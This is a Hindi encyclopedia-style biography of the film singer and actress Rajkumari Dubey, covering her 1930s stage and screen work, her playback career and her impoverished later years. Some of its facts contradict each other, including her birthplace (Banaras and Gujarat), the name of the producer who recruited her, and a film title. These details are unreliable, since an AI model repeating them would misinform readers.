राजकुमारी दुबे

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राजकुमारी दुबे (अंग्रेज़ी: Rajkumari Dubey, जन्म- 1924, बनारस; मृत्यु- 18 मार्च, 2000) हिन्दी सिनेमा की जानीमानी गायिका थीं। उनका नाम भले ही नई पीढ़ी के लिए विस्मृत हो चुका हो, लेकिन पुराने संगीत के चाहने वालों में उनका नाम आज भी उसी अदब के साथ लिया जाता है, जैसे उनके कार्यकाल में लिया जाता था। उनकी आवाज़ में एक अनोखी मिठास थी, जो भुलाए नहीं भूलती। वे अपने ज़माने की अग्रणी और बेहद प्रतिभाशाली गायिका रहीं। उनके गाए गानों ने बीस से भी अधिक वर्षों तक श्रोताओं का दिल लुभाया। गायिका राजकुमारी दुबे ने बेशुमार अभिनेत्रियों को आवाज़ प्रदान की। उन्होंने अनगिनत संगीतकारों, गीतकारों एवं रंगमंच के कलाकारों को सफलताएँ देने में अहम भूमिका निभाई थी।

परिचय

गुजरे जमाने की गायिका राजकुमारी दुबे का जन्म 1924 में गुजरात में हुआ था। कहते हैं कि सपूत के पांव पलने में दिखने लगते हैं। कुछ ऐसी ही सख्शियत गायिका राजकुमारी की भी थी। उन्होंने महज 14 वर्ष की उम्र में ही अपना पहला गाना एचएमवी में रिकॉर्ड कराया था। गाने के बोल थे- "सुन बैरी बलमा कछू सच बोल न।' यह अलग बात थी कि राजकुमारी ने किसी संस्था से संगीत की कोई शिक्षा नहीं ली थी, लेकिन ईश्वर ने जो उन्हें कंठ बख्शा था, वह कम नहीं था। इसके बाद तो उन्होंने विभिन्न मंचों पर अपनी गायिकी का सफर जारी रखा।

तीस के दशक में मूलत: अभिनेत्रियाँ अपने गीत खुद गाती थीं। इस सूरत को बदलने में राजकुमारी दुबे का नि:सन्देह बड़ा हाथ रहा। उनके गीतों की माँग के चलते कई संगीतकारों ने उनकी आवाज़ का इस्तेमाल किया और आने वाले समय में वे पार्श्वगायन का एक चमकता हुआ सितारा बन गईं। उन्होंने सभी तरह के गीत गाए। स्टेज, महफिल, मुजरे, हास्य, रोमानी से लेकर दर्द भरे गीत उन्होंने गाए। तीस के दशक में जहाँ एक ओर उन्होंने क्लासिकल तर्ज के गीत संगीतकारों की मर्ज़ी के अनुसार गाए, वहीं दूसरी ओर मस्ती भरे गीत भी गाए। चालीस के दशक में बगावत का आलम था, जिसका असर ज़ाहिर है फिल्म संगीत पर भी पड़ा। पहले जहाँ धीमी गति के गीत प्रचलित थे, वहीं तेज़ लय और ताल के गीत आने लगे।

गायिका राजकुमारी दुबे बहुत ही भावुक गायिका थीं, जो जल्द ही गीत की तह को पकड़ लेती थीं और संगीतकार के मुताबिक गा सकती थीं। मुश्किल धुन वे बहुत जल्दी सीख लेती थीं। किस शब्द पर कितना दबाव डालना है, कब साँस लेनी है और कब नहीं जैसे सूक्ष्म तथ्य उन्होंने अपनी मेहनत व लगन से तीस के दशक में ही सीख लिए थे। गौरतलब है कि फिल्मों में गज़ल गाने का प्रचलन भी उन्हीं की आवाज़ के कारण आया। मुश्किल गाने जैसे 'सईयाँ तू एक वेरी आजा' भी वे बहुत सरलता से गा लेती थीं। इसी तरह के कई नए प्रयोग संगीतकार कर पाए, क्योंकि उनके जैसी गायिका संगीतकारों के पास थीं। उनके गाने यदि कोई गाने की कोशिश करें तो स्वत: ही ज्ञात हो जाता है कि वे कितनी बड़ी कलाकार थीं। कई भाषाओं में गाने वाली वे शायद पहली गायिका थीं। हिन्दी के अलावा उन्होंने गुजराती एवं पंजाबी में भी पार्श्वगायन अपने कॅरियर के पहले पाँच-छह साल में ही गा लिया था। बाद में तो ये ट्रेन्ड बन गया, जिसे उन्होंने ही सेट किया था।[1]

फ़िल्मों के लिये गायन

कहते हैं कि एक बार राजकुमारी सार्वजनिक मंच पर गाना गा रही थीं। वहीं उनकी मुलाकात फ़िल्म निर्माता प्रकाश भट्ट से हो गई। उन्होंने राजकुमारी को 'प्रकाश पिक्चर' से जुड़ने का न्यौता दे दिया। इस बैनर के तहत बनने वाली गुजराती फ़िल्म 'संसार लीला' में कई गाने पेश किए। इस फ़िल्म को हिन्दी में भी 'संसार' नाम से फ़िल्माया गया। इसमें राजकुमारी जी ने गीत पेश किया 'आंख गुलाबी जैसे मद की प्यालियां, जागी हुई आंखों में है शरम की लालियां।' इसके बाद तो उनकी प्रतिभा बॉलीवुड में सिर चढ़कर बोलने लगी।

वर्ष 1933 में फ़िल्म 'आंख का तारा', 'भक्त और भगवान', 1934 में 'लाल चिट्ठी', 'मुंबई की रानी' और 'शमशरे अलम' में गीत पेश कर राजकुमारी दुबे ने अपनी प्रतिभा का लोहा मनवा दिया। इस दौरान उनके कई कालजयी गीतों ने लोगों को गुनगुनाने के लिए बाध्य कर दिया। जैसे 'चले जइयो बेदर्दा मैं रो पडूंगी, 'काली काली रतिया कैसे बिताऊं, बिरहा के सपने देख डर जाऊं।' इसके बाद 'नजरिया की मारी-मरी मोरी दइया' ने तो उन्हें बुलंदियों पर पहुंचा दिया। इसी दौरान उन्होंने पंजाबी और बांग्ला में भी कई गीत पेश किए। इतना ही नहीं, उन्होंने मशहूर गायक मुकेश के साथ भी गीत गाए। 'मुझे सच सच बता दो कब मेरे दिल में समाए थे, जब तुम पहली बार देखकर मुस्कराए थे'। इसी दौरान वाराणसी निवासी बी.के. दुबे से राजकुमारी ने शादी कर ली।[2]

उस समय की शीर्ष गायिकाएँ मुख्यत: पंजाब, बंगाल एवं महाराष्ट्र मूल की थीं। इन सबसे अलग राजकुमारी उत्तर प्रदेश के बनारस से आईं थीं और अपने साथ उसके पान की मिठास अपने कंठ में संग लाईं थीं। उन्हें तीस के आखिरी भाग में राजकुमारी 'बनारस वाली' या राजकुमारी 'बनारस' के नाम से भी जाना जाता था। कुछ साल ऐसे पृथक तरीके से बुलाने का कारण था कि उस समय एक अन्य गायिका भी थीं- राजकुमारी 'कलकत्ते वाली' जो ज़ाहिर है कलकत्ते से थीं और उनका असली नाम पुलोबाई था। फिल्म 'गोरख आया' (1938) में जैसे दोनों ने ही गीत गाए थे। उसका एक रेकॉर्ड तो ऐसा भी था, जिसमें दोनों के गीत थे।

अभिनय

अधिकतर सुनने वालों को याद नहीं होगा कि पार्श्वगायन से पहले राजकुमारी अभिनय से भी जुड़ी हुईं थीं। वे जब तीस के दशक में बम्बई आईं तो वे एक ग्रामोफोन कम्पनी में आईं। वहाँ उन्होंने उस समय रेकॉर्डों में गाने भी गाए और कुछ ड्रामों में भी बोला जो आज उपलब्द्ध नहीं हैं। उन्हें नाटक में काम करने का शौक हुआ और वे स्टेज पर आ गईं। वह अच्छा गा लेती थीं, इसलिए उन्हें बुलाया गया कि आप रोल भी कीजिए और गाने भी गाईए। इस तरह से उन्होंने पहली बार अभिनय किया। अभिनय एवं गायन के लिए वह मश्हूर होने लगीं। एक बार 'प्रकाश पिक्चर्स' के विजय भट्ट उनका नाटक देखने आए। उन्हें राजकुमारी का अभिनय एवं गायन बहुत पसंद आया। उनका स्टूडियो तब एक नई फिल्म की तैयारी कर रहा था और उसमें काम करने के लिए उन्होंने राजकुमारी को न्यौता दिया। उस ज़माने में स्टेज के ऊपर माईक नहीं होता था। याद से हर डायलौग ज़ोर-ज़ोर से चीख-चीख कर बोलना पड़ता था और गाने भी इसी प्रकार से चिल्ला-चिल्ला कर गाने पड़ते थे। उनकी अदायगी के चाहने वालों के चलते कई बार 'वन्स मोर' की गुहार भी हो जाती और कभी-कभी उन्हें एक गीत 8-9 बार गाना पड़ता था। उनके शुभचिन्तकों ने उन्हें बोला अपनी आवाज़ स्टेज पर खराब करना छोड़ो और भट्ट साहब का निवेदन स्वीकार कर लो। फिल्मों का उन्हें शौक भी था और यह सब सोचकर उन्होंने हाँ कर दी। कई लोग नहीं जानते होंगे कि राजकुमारी दुबे 1932 में कमला मूवीटोन, लाहौर की फिल्म 'राधेश्याम' में बालिका का किरदार पहले ही निभा चुकी थीं। हीरोइन बनने के लिए राजकुमारी दुबे अब तैयार थीं।

यह प्रस्तावित फिल्म 'प्रकाश पिक्चर्स' हिन्दी एवं गुजराती दोनों में बना रहा था और वर्ष था 1934। गुजराती संस्करण का नाम था 'संसारलीला'। हिन्दी संस्करण को 'नई दुनिया' नाम दिया गया था, जिसका एक नाम 'Sacred Scandal' भी था। नायिका मालती का किरदार राजकुमारी ने ही निभाया। इस फिल्म में प्रकाश की अभिनेत्री गुलाब के अलावा मुख्य भूमिका में काशीनाथ एवं ऊमाकान्त देसाई थे। इस फिल्म के संगीतकार ने खुद इस फिल्म में अभिनय भी किया था और वे उस समय की चर्चित हस्ती थे। ये संगीतकार थे लल्लूभाई नायक, जिनके साथ ही राजकुमारी को अपने प्रारम्भिक दौर में अधिकांश गीत गाने थे। 'नई दुनिया' में अपने ऊपर फिल्माए ‘प्रीत की रीत सिखा जा बलम’ और ‘प्रीतम तुम घन बन जाओ’ जैसे गीत राजकुमारी दुबे ने गाए थे। लल्लूभाई नायक प्रकाश के मूख्य संगीतकार थे।[3] अभिनेता जयन्त भी उस समय प्रभात में थे, जिनके साथ राजकुमारी ने अभिनय किया और संगीतकार तो लल्लूभाई ही थे। ये फिल्में थीं- 1935 में आई 'बम्बई की सेठानी', 'बाम्बे मेल', 'लाल चिट्ठी', 'शमशीर-ए-अरब' और 1936 की 'स्नेहलता'।[1]

कॅरियर

'बम्बई की सेठानी' में अभिनय के साथ ही राजकुमारी ने "हमसे क्यों रूठ गये बंसी बजाने वाले" गीत भी गाया था। फिल्म 'बाम्बे मेल' के गीत उस ज़माने में बेहद मुकम्मल साबित हुए। गीत "किसकी आमद का यूँ इन्तज़ार है" राजकुमारी ने स्वयं लल्लूभाई एवं इस्माइल के साथ बहुर खूबसूरती के साथ गाया। इस गीत में आरकेस्ट्रा न के बराबर है, पर उनकी आवाज़ की मिठास सुनने वाले का ध्यान खींचती है। इसी फिल्म में धीमी गति की एक गज़ल "बातों बातों में दिल-ए-बेज़ार" उन्होंने अपनी मीठी तानों संग गाया था। फिल्म का "कागा रे जइयो पिया की गलियन" तो बहुत ही लोकप्रिय हुआ था। 1936 उनके लिए बहुत सफल साबित रहा। कुछ लोग गलत समझते हैं कि इस साल की लोकप्रिय फिल्म 'देवदास' में भी अभिनेत्री थीं, पर चन्द्रमुखी की भूमिका निभाने वाली अभिनेत्री भिन्न हैं।

'लाल चिट्ठी' में उन्होंने "कुदरत है रब की न्यारी" जैसे गीत गाए। स्नेहलता में भी राजकुमारी दुबे ने कई गीत गाए। यह फिल्म गुजराती में भी बनी थी और इसे 'भारत की देवी' नाम से भी जाना जाता है। इसमें गाए कुछ उनके गीत हैं "हे धन्य तू भारत नारी", "सम्भल कर रख कदम, काँटे बिछे हैं प्रेम के बन में", "तुम हो किसी के घर के उजाले" और "मूरख़ मन भरमाने"। प्रकाश में राजकुमारी दुबे को भरपूर ट्रेनिंग मिली गायन में जो उनको सालों तक लोकप्रिय बनाती रही। 'पासिंग शो' (1936) में राजकुमारी का गीत "शरद मयंक ना तब मुख सम है, देखा बार बार बार" भी एक मधुर गीत था, जो उनके उस दौर के कई गीतों कि तरह नहीं मिलता। 'ख्वाब की दुनिया' (1937) में भी उन्होंने "कली कली पर है भ्रमर" और "आओ आओ प्राण प्यारे, संसार एक नया बसाएँ" जैसे गीत भी गाए। इस दौर में वे प्रकाश के बाहर भी अवसर पाने लगीं। फिल्म 'परख' (1937), 'छोटे सरकार' (1938), 'जंगल का जवान' (1938), 'तूफान एक्सप्रेस' (1937), 'विजय मार्ग' (1938) 'सेक्रेटरी' (1938) एवं 'गोरख आया' (1938) में भी उन्होंने अभिनय किया और गीत गाए। यह खेद का विषय है कि आज उनमें से एक भी फिल्म उपलब्द्ध नहीं है और हम उनके अभिनय का लुत्फ उठाने में असमर्थ हैं।[1]

पार्श्वगायन का प्रचलन भी इसी समय के आसपास मुम्बई में आया। धीरे-धीरे राजकुमारी ने फिल्मों में काम करना छोड़ दिया, क्योंकि वह थोड़ी मोटी हो गईं थीं। खाने पीने के शौक के चलते ये हुआ था। एक दिन उन्हें मोतीलाल जी मिल गए, जिन्हें वह प्यार से चाचा बुलाया करती थीं। उन्होंने राजकुमारी दुबे से कहा, "हीरोइन बनने की लालच में तुम अपनी आवाज़ को क्यों खराब कर रही हो। तुम इतना अच्छा गाती हो, सब कुछ है। तुम अपनी आवाज़ को आगे बढ़ाओ। इस काम का क्या है? जब तुम बूढ़ी हो जायेगी तो हीरोइन नहीं बन पाओगी, लेकिन बुढ़ापे तक की रोज़ी है तुम्हारी आवाज़। ये गाने की जो कला है भगवान ने तुम्हें दी है, ये तुम्हारी कमर भी झुक जाएगी, तब भी अगर तुम गाती रहोगी तो लोग सुनने के लिए शौक करेंगे।" उनकी बात मानते हुए राजकुमारी दुबे पार्श्वगायन करने लगीं। लोकप्रियता तो थी ही, जिसके चलते उन्हें और मौके मिलने लगे। उनकी प्रतिभा के चलते उस दौर के अधिकांश प्रमुख संगीतकारों एवं हीरोइनों के लिए उन्होंने गाया।

सन 1941 में राजकुमारी का कॅरियर और भी ऊँचे परवान चढ़ने लगा। इस साल उन्होंने पन्नालाल घोष, सरस्वती देवी, राम चन्द्र पाल, एस. एन. त्रिपाठी, ज्ञानदत्त, खान मस्ताना, माधुलाल मास्टर, रफीक गज़नवी एवं खेमचन्द प्रकाश जैसे दिग्गजों के लिए गीत गाए। इस साल गाए गीतों में फिल्म 'नया संसार' का गीत "मैं हरिजन की छोरी, अरे हाँ रे मेरा नाम दुलरिया" है जो उन्होंने सरस्वती देवी-रामचन्द्र पाल की जोड़ी के लिए गाया था। इस साल की कुछ और फिल्में, जिनमें उन्होंने गाया वे हैं- 'चंदन', 'सफेद सवार', 'अन्जान', 'मन्थन', 'हौलिडे इन बाम्बे', 'मेरे साजन', 'स्वामी', 'ससुराल' एवं 'टारपीडो'। इनमें स्वामी में उन्होंने सितारा देवी के साथ युगल गीत भी गाए थे। उनका इस फिल्म का गाया एकल गीत 'बिरहन जागी राह' रफीक गज़नवी के बेहतरीन गीतों में शामिल है। मोहन पिकचर्स की फिल्म 'ताजमहल' में उन्होंने माधुलाल मास्टर के लिए गाने गाए। इनमें गीत "उनपे दिल हो गया कुर्बान" बहुत ही कर्णप्रिय है। खेमचन्द प्रकाश की दूसरी ही फिल्म 'हौलिडे इन बाम्बे' में पहली बार राजकुमारी ने एक गीत गाया। खेमचन्द प्रकाश के अन्त समय तक राजकुमारी उनकी पसन्दीदा गायिका रहीं और उन्होंने उनके लिए कई बेहतरीन गीत गाए। पार्श्वगायन में राजकुमारी उस समय बॉम्बे का सबसे बड़ा नाम थीं।

सन 1942 उनके कॅरियर में मील का पत्थर रहा, जिसमें उन्होंने कई मीठे गीत गाए। यही वह साल था, जब उन्होंने अन्ना साहब माइनकर एवं अनिल बिस्वास के साथ पहली बार काम किया। नए संगीतकारों नौशाद एवं दत्ता कोरगांवकर के लिए भी उन्होंने गायन किया। ज्ञान दत्त एवं खेमचन्द प्रकाश जैसे उनके कायल संगीतकारों ने उनसे कई गीत गवाए। राजकुमारी इस साल पहली पार्श्वगायिका भी बनीं, जिनके साथ कुन्दनलाल सहगल ने गाना गाया। यह फिल्म थी 'भक्त सूरदास' और वह गाना था "सर पे कदम की छैया मुरलिया बाजे री मोरी लाज रही"। यह खूबसूरत गाना ज्ञान दत्त ने दोनों से बहुत मीठी तरह गवाया है और सुनने वाले के कानों में सचमुच एक दैविक मुरलिया बजा जाता है। मधोक लिखित इस रचना को दोनों ने अपने-अपने अन्दाज़ से नवाज़ा है और दोनों के चाहने वालों के लिए एक अनूठा उपहार ज्ञान दत्त ने दिया है।

अंतिम समय

1952 में राजकुमारी ने ओ. पी. नैयर के साथ भी कई गीत गाए। यह अलग बात है कि उनका नाम भले ही राजकुमारी था, लेकिन उनका अंत मुफलिसी में हुआ। इस दौरान उन्होंने गायिका और अभिनेत्री के रूप में जो काम बॉलीवुड में किया, वह शायद ही कभी भुला लोग पाएँ। 1955 में गुमनामी की ओर बढ़ती सरस्वती देवी को एक ही गीत 'इनाम' फिल्म में मिला। ये भक्ति गीत “तू ही मारे, तू ही तारे, तू ही बिगड़ी बार संवारे” राजकुमारी ने मोहनतारा के साथ गाया था। गीत तो अच्छा है पर दोनों गायिकाओं और संगीतकारा की बिगड़ी संवार नहीं पाया। 1956 में चिल्ड्रन फिल्म सोसायटी की बाल फिल्म 'जलदीप' किदार शर्मा ने निर्देशित की थी। ये फिल्म 1957 में वेनिस में आयोजित अन्तर्राष्ट्रीय फिल्म समारोह में सर्वोत्तम बाल फिल्म का पुरस्कार लाई थी। राजकुमारी का इसमें कम से कम एक गीत “देखो देखो पंछी देखी ये फुलवारी कैसी” गाया था। ये गीत वक्त के साथ खो गए। धीरे-धीरे नए ज़माने ने राजकुमारी से मुख मोड़ लिया था और राजकुमारी उसके बाद वर्षों तक गुमनामी की ज़िन्दगी में चली गईं। एक साक्षात्कार में अमीन सयानी ने उनसे पूछा था कि आपने गाना कब और कैसे छोड़ दिया था? इसके जवाब में राजकुमारी ने कहा था, "आखरी फिल्मों के लिए मैंने गाना कब छोड़ा? मैंने छोड़ा नहीं। मैंने कुछ छोड़ा नहीं। वैसे लोगों ने बुलाना बंद कर दिया। अब मैं ये तो नहीं बता पाऊँगी कि क्यों बुलाना बंद कर दिया।"

धन की तंगी ने उन्हें सताया तो उन्होंने फिल्मों के कोरस में गाने की भी कोशिश की। लोग कहते हैं ये मौके भी उन्हें कम ही मिलते थे और कभी-कभी खुन्नस रखने वाले लोग उन्हें उससे भी भगा देते थे। 1968 में जब नौशाद 'गंगा जमना' के लिए गीत “मेरे पैरों में घुँघरू बंधा दे तो फिर मेरी चाल देख ले” की रिकॉर्ड कर रहे थे तो राजकुमारी को कोरस में देख कर वह चौंक उठे। उन्हें हैरानी हुई कि जो राजकुमारी एक समय फिल्म 'स्टेशनमास्टर' में अपनी नई बुइक गाड़ी में आई थी, उसे ही यह दिन देखने पड़ रहे हैं। उन्होंने राजकुमारी को इस गीत में पूरी एक लाइन “क्या चाल है गोरी, क्या बात है गोरी” और गीत के मुख्य गायक जितना मेहनताना देकर विदा किया। इसके बाद जब नौशाद फिल्म 'पाकीज़ा' के लिए बैकग्राउन्ड संगीत दे रहे थे तो उन्होंने राजकुमारी को बुला भेजा। एक ठुमरी “नजरिया की मारी गई मोरी गुईयाँ” उन्होंने राजकुमारी से गवाया। ठुमरी गाने के लिए तो वह जानी ही जाती थीं और इसके साथ भी उन्होंने पूरा न्याय किया। फिल्म तो कई साल बाद 1971 में ही प्रदर्शित हो पाई और ये गीत पूरा फिल्माया नहीं गया था। हाँ रिकॉर्ड पर ज़रुर ये गीत मौजूद था और सराहा भी गया। कई लोग नहीं जानते कि कमाल अमरोही ने कुछ दृश्यों की पृष्ठभूमि में भी कुछ ठुमरियाँ रखवाईं थीं, जिनके कुछ शब्द ध्यान से सुनें तो ही पकड़ पाते हैं। राजकुमारी ने ऐसी ही दो ठुमरियाँ, “मोरी बाली उमरिया में दाग” और “अब की न जाओ बिदेस” गाई थीं।

गायिका राजकुमारी की मदद को और कोई नहीं आ रहा था। हाँ उनके पुत्र ने राहुल देव बर्मन के सहयोगी के तौर पर काम शुरू किया, जिससे थोड़ी सहायता हुई। 1977 में जब फिल्म 'किताब' का संगीत बन रहा था तो दीना पाठक और मास्टर राजू पर एक गीत फिल्माया जाना था। इसके बोल थे, “हरि दिन तो बीता शाम हुई रात पार करा दे” और ये एक पारंपरिक बंगाली कीर्तन पर निर्धारित था। गायिका के लिए विचार किया जा रहा था तो जब राजकुमारी के पुत्र ने उनका नाम सुझाया तो गुलज़ार और राहुल देव बर्मन दंग रह गए। राजकुमारी को बुलाया गया और उनकी आवाज़ में ये रिकॉर्ड भी किया गया। राजकुमारी ने इसे पूरे भावपूर्वक गाया। इसके बोल और उनके गायन से एक पल ऐसा प्रतीत होता है कि वे अपनी ही कहानी गा रही हैं। भगवान से प्रार्थना कर रही हैं कि छोर पार करा दे।

मृत्यु

नब्बे के दशक के अन्त में सारेगामा पर राजकुमारी दुबे को काफ़ी सराहा गया था। उनका एक साक्षात्कार कमर जलालाबादी की सुपुत्री स्वर जलालाबादी ने लिया था। राजकुमारी गुमनामी में जी तो रही थीं, पर कार्यक्रमों में उनके गायन ने नई पीढ़ी के कई लोगों को उनके बारे में अवगत करा दिया था। वक्त ने उनसे उनकी रोज़ी तो छीन ली थी, पर उनकी आवाज़ की मिठास नहीं छीन सका था। 18 मार्च, 2000 को इस महान गायिका ने हमेशा के लिए आँखें मूँद लीं। उनके जनाज़े में फिल्म इन्डस्ट्री से सिर्फ गायक सोनू निगम मौजूद थे, जिन्होंने सारेगामा कार्यक्रम संचालित किया था।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 गायिकाओं की रानी : राजकुमारी (हिन्दी) anmolfankaar.com। अभिगमन तिथि: 08 जुलाई, 2017।
  2. सन्दर्भ त्रुटि: अमान्य <ref> टैग; a नामक संदर्भ की जानकारी नहीं है
  3. हालांकि बाद में उनकी जगह शंकरराव व्यास और फिर नौशाद ने ले ली थी। सालों बाद वे गुमनाम हो गए और फिल्म 'पटरानी' में शंकर-जयकिशन की सहायता के लिए बुलाए गए थे।

बाहरी कड़ियाँ

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